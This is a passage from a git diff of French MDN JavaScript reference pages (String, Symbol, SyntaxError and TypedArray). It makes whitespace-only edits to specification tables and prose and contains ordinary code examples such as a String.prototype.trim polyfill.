{{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/trim/index.md b/files/fr/web/javascript/reference/global_objects/string/trim/index.md index a36df76b58..2e843dfbcd 100644 --- a/files/fr/web/javascript/reference/global_objects/string/trim/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/trim/index.md @@ -50,9 +50,9 @@ Si l'environnement utilisé ne possède pas cette méthode, il est possible de l ```js if (!String.prototype.trim) { - String.prototype.trim = function () { + String.prototype.trim = function () { return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ''); - }; + }; } ``` @@ -61,8 +61,8 @@ if (!String.prototype.trim) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.1. | -| {{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/trimend/index.md b/files/fr/web/javascript/reference/global_objects/string/trimend/index.md index ded81deeb9..de4d19e334 100644 --- a/files/fr/web/javascript/reference/global_objects/string/trimend/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/trimend/index.md @@ -39,7 +39,7 @@ String.prototype.trimRight.name === "trimEnd"; ## Exemples -L'exemple qui suit illustre comment afficher la chaîne " toto": +L'exemple qui suit illustre comment afficher la chaîne " toto": ```js var str = " toto "; diff --git a/files/fr/web/javascript/reference/global_objects/string/valueof/index.md b/files/fr/web/javascript/reference/global_objects/string/valueof/index.md index e1ba2b7fd6..1ce3ec7c75 100644 --- a/files/fr/web/javascript/reference/global_objects/string/valueof/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/valueof/index.md @@ -42,9 +42,9 @@ console.log(x.valueOf()); // affiche "Coucou monde" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.md b/files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.md index 28b41fe086..e4f27b4425 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.md @@ -25,7 +25,7 @@ La valeur primitive de l'objet {{jsxref("Symbol")}} indiqué. ## Description -La méthode `[@@toPrimitive]()` de {{jsxref("Symbol")}} renvoie la valeur primitive d'un objet `Symbol` (le résultat sera donc un symbole au sens primitif). L'argument `hint` n'est pas utilisé. +La méthode `[@@toPrimitive]()` de {{jsxref("Symbol")}} renvoie la valeur primitive d'un objet `Symbol` (le résultat sera donc un symbole au sens primitif). L'argument `hint` n'est pas utilisé. Le moteur JavaScript appelle la méthode `[@@toPrimitive]()` afin de convertir un objet en une valeur primitive. Généralement, il n'est pas nécessaire d'appeler `[@@toPrimitive]()` car le moteur JavaScript l'appelle automatiquement lorsqu'il détecte un objet là où une valeur primitive est attendue. @@ -34,7 +34,7 @@ Le moteur JavaScript appelle la méthode `[@@toPrimitive]()` afin de convertir u | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.md b/files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.md index 502ee237b5..fef4bac069 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.md @@ -53,7 +53,7 @@ Il n'existe actuellement pas d'objets JavaScript natifs qui possèdent la clé ` | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ------------------------ | ------------ | -| {{SpecName('ES2018', '#sec-symbol.asynciterator', 'Symbol.asyncIterator')}} | {{Spec2('ES2018')}} | | +| {{SpecName('ES2018', '#sec-symbol.asynciterator', 'Symbol.asyncIterator')}} | {{Spec2('ES2018')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/for/index.md b/files/fr/web/javascript/reference/global_objects/symbol/for/index.md index febba50125..db03a448e0 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/for/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/for/index.md @@ -69,7 +69,7 @@ Symbol.for("mdn.machin"); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.for', 'Symbol.for')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.md b/files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.md index 164f5067d1..5693ca7ada 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.md @@ -34,7 +34,7 @@ console.log([] instanceof MonArray); // true | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/index.md b/files/fr/web/javascript/reference/global_objects/symbol/index.md index 3bc071ea70..3da4598453 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/index.md @@ -110,7 +110,7 @@ En plus des symboles que vous pouvez créer, JavaScript possède certains symbol - {{jsxref("Symbol.hasInstance")}} - : Une méthode qui permet de déterminer si un constructeur reconnaît un objet comme son instance. Utilisé par {{jsxref("Opérateurs/instanceof", "instanceof")}}. - {{jsxref("Symbol.isConcatSpreadable")}} - - : Une valeur booléenne qui indique si un objet devrait être réduit à la concaténation des éléments de son tableau via {{jsxref("Array.prototype.concat()")}}. + - : Une valeur booléenne qui indique si un objet devrait être réduit à la concaténation des éléments de son tableau via {{jsxref("Array.prototype.concat()")}}. - {{jsxref("Symbol.unscopables")}} - : Un objet dont les noms des propriétés propres et héritées sont exclues de l'objet associé lors de l'utilisation de [`with`](/fr/docs/Web/JavaScript/Reference/Instructions/with). - {{jsxref("Symbol.species")}} diff --git a/files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.md b/files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.md index 503c3b97af..581b21eecc 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Symbol/isConcatSpreadable --- {{JSRef}} -Le symbole connu **`Symbol.isConcatSpreadable`** est utilisé pour configurer la façon dont un tableau est aplati lors d'une concaténation via la méthode {{jsxref("Array.prototype.concat()")}}. +Le symbole connu **`Symbol.isConcatSpreadable`** est utilisé pour configurer la façon dont un tableau est aplati lors d'une concaténation via la méthode {{jsxref("Array.prototype.concat()")}}. {{EmbedInteractiveExample("pages/js/symbol-isconcatspreadable.html")}} diff --git a/files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.md b/files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.md index d9963f9a23..e212249f45 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.md @@ -48,7 +48,7 @@ Symbol.keyFor(Symbol.iterator); // undefined | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.keyfor', 'Symbol.keyFor')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.keyfor', 'Symbol.keyFor')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.keyfor', 'Symbol.keyFor')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/match/index.md b/files/fr/web/javascript/reference/global_objects/symbol/match/index.md index ec609b6c6a..9295c1e6bb 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/match/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/match/index.md @@ -34,7 +34,7 @@ Le code suivant renverra une exception {{jsxref("TypeError")}} : // et que Symbol.match n'a pas été modifié. ``` -Cependant, si `Symbol.match` vaut `false`, cette vérification `isRegExp` indiquera que l'objet à prendre en compte n'est pas une expression rationnelle. Les méthodes `startsWith` et `endsWith` ne déclencheront donc pas d'exception `TypeError`. +Cependant, si `Symbol.match` vaut `false`, cette vérification `isRegExp` indiquera que l'objet à prendre en compte n'est pas une expression rationnelle. Les méthodes `startsWith` et `endsWith` ne déclencheront donc pas d'exception `TypeError`. ```js var re = /toto/; @@ -48,7 +48,7 @@ re[Symbol.match] = false; | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.match', 'Symbol.match')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.match', 'Symbol.match')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.match', 'Symbol.match')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/matchall/index.md b/files/fr/web/javascript/reference/global_objects/symbol/matchall/index.md index ef0df351c6..b09acf592b 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/matchall/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/matchall/index.md @@ -37,7 +37,7 @@ Voir les pages {{jsxref("String.prototype.matchAll()")}} et {{jsxref("RegExp.@@m | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('ESDraft', '#sec-symbol.matchall', 'Symbol.matchAll')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.matchall', 'Symbol.matchAll')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/replace/index.md b/files/fr/web/javascript/reference/global_objects/symbol/replace/index.md index 6ec4f7d191..8bd9547ccf 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/replace/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/replace/index.md @@ -23,7 +23,7 @@ Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@replace" | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.replace', 'Symbol.replace')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.replace', 'Symbol.replace')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.replace', 'Symbol.replace')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/search/index.md b/files/fr/web/javascript/reference/global_objects/symbol/search/index.md index ac3ddb1ae3..64e9fd9c6b 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/search/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/search/index.md @@ -23,7 +23,7 @@ Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@search", | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.search', 'Symbol.search')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.search', 'Symbol.search')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.search', 'Symbol.search')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/species/index.md b/files/fr/web/javascript/reference/global_objects/symbol/species/index.md index 8301da4fa2..0b04312523 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/species/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/species/index.md @@ -43,7 +43,7 @@ console.log(mapped instanceof Array); // true | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.species', 'Symbol.species')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.species', 'Symbol.species')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.species', 'Symbol.species')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/split/index.md b/files/fr/web/javascript/reference/global_objects/symbol/split/index.md index b1e4f5b419..68dbf7c99c 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/split/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/split/index.md @@ -23,7 +23,7 @@ Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@split", | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.split', 'Symbol.split')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.split', 'Symbol.split')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.split', 'Symbol.split')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.md b/files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.md index 8d73e8466e..52d1bc8104 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.md @@ -55,7 +55,7 @@ console.log(obj2 + ""); // true -- hint vaut "default" | Spécification | Etat | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/tostring/index.md b/files/fr/web/javascript/reference/global_objects/symbol/tostring/index.md index 6f9bcd119f..ee225a1b2f 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/tostring/index.md @@ -54,7 +54,7 @@ Symbol.for("toto").toString() // "Symbol(toto)" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.md b/files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.md index 89667ea0f1..6b4e3c1b1a 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.md @@ -64,7 +64,7 @@ Object.prototype.toString.call(new ValidatorClass()); // "[object Validator]" | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.md b/files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.md index dcfc3a91e1..8808081eb0 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.md @@ -26,7 +26,7 @@ En définissant une propriété comme `true` dans un objet `unscopables`, cela e ## Exemples -Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec `with`, `"keys"` serait désormais la méthode et non la variable. C'est là que le symbole natif `@@unscopables` `Array.prototype[@@unscopables]` intervient et empêche d'explorer ces méthodes avec `with`. +Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec `with`, `"keys"` serait désormais la méthode et non la variable. C'est là que le symbole natif `@@unscopables` `Array.prototype[@@unscopables]` intervient et empêche d'explorer ces méthodes avec `with`. ```js var keys = []; @@ -64,7 +64,7 @@ with(obj) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.unscopables', 'Symbol.unscopables')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.unscopables', 'Symbol.unscopables')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.unscopables', 'Symbol.unscopables')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/symbol/valueof/index.md b/files/fr/web/javascript/reference/global_objects/symbol/valueof/index.md index f202db038f..a16eac6605 100644 --- a/files/fr/web/javascript/reference/global_objects/symbol/valueof/index.md +++ b/files/fr/web/javascript/reference/global_objects/symbol/valueof/index.md @@ -34,7 +34,7 @@ JavaScript appelle la méthode `valueOf` afin de convertir l'objet en une valeur | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/syntaxerror/index.md b/files/fr/web/javascript/reference/global_objects/syntaxerror/index.md index 8e02ba78e1..de9afe39e0 100644 --- a/files/fr/web/javascript/reference/global_objects/syntaxerror/index.md +++ b/files/fr/web/javascript/reference/global_objects/syntaxerror/index.md @@ -89,9 +89,9 @@ try { | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.md index 1046aa4f23..7ad4b7deb3 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.md @@ -55,7 +55,7 @@ console.log(eArr.next().value); // 50 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES6', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}} | {{Spec2('ES6')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.md index 4037082e08..20fe587705 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.md @@ -60,7 +60,7 @@ class MonTableauTypé extends Uint8Array { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.md index 4c1500fe83..22dff86062 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.md @@ -37,7 +37,7 @@ uint16.buffer; // ArrayBuffer { byteLength: 8 } | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.md index 16b00bf27f..836e40c1ea 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.md @@ -44,7 +44,7 @@ uint8.byteLength; // 6 (en raison du décalage utilisé pour la construction du | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.md index 1b667e67de..e9af5a0584 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.md @@ -39,7 +39,7 @@ uint8.byteOffset; // 3 (correspond au décalage défini lors de la construction | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.md index f2ae06a0e6..3c2e7159a1 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.md @@ -44,7 +44,7 @@ Float64Array.BYTES_PER_ELEMENT; // 8 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Spécification englobée par ECMAScript 6. | | {{SpecName('ES6', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}} | {{Spec2('ES6')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.md index 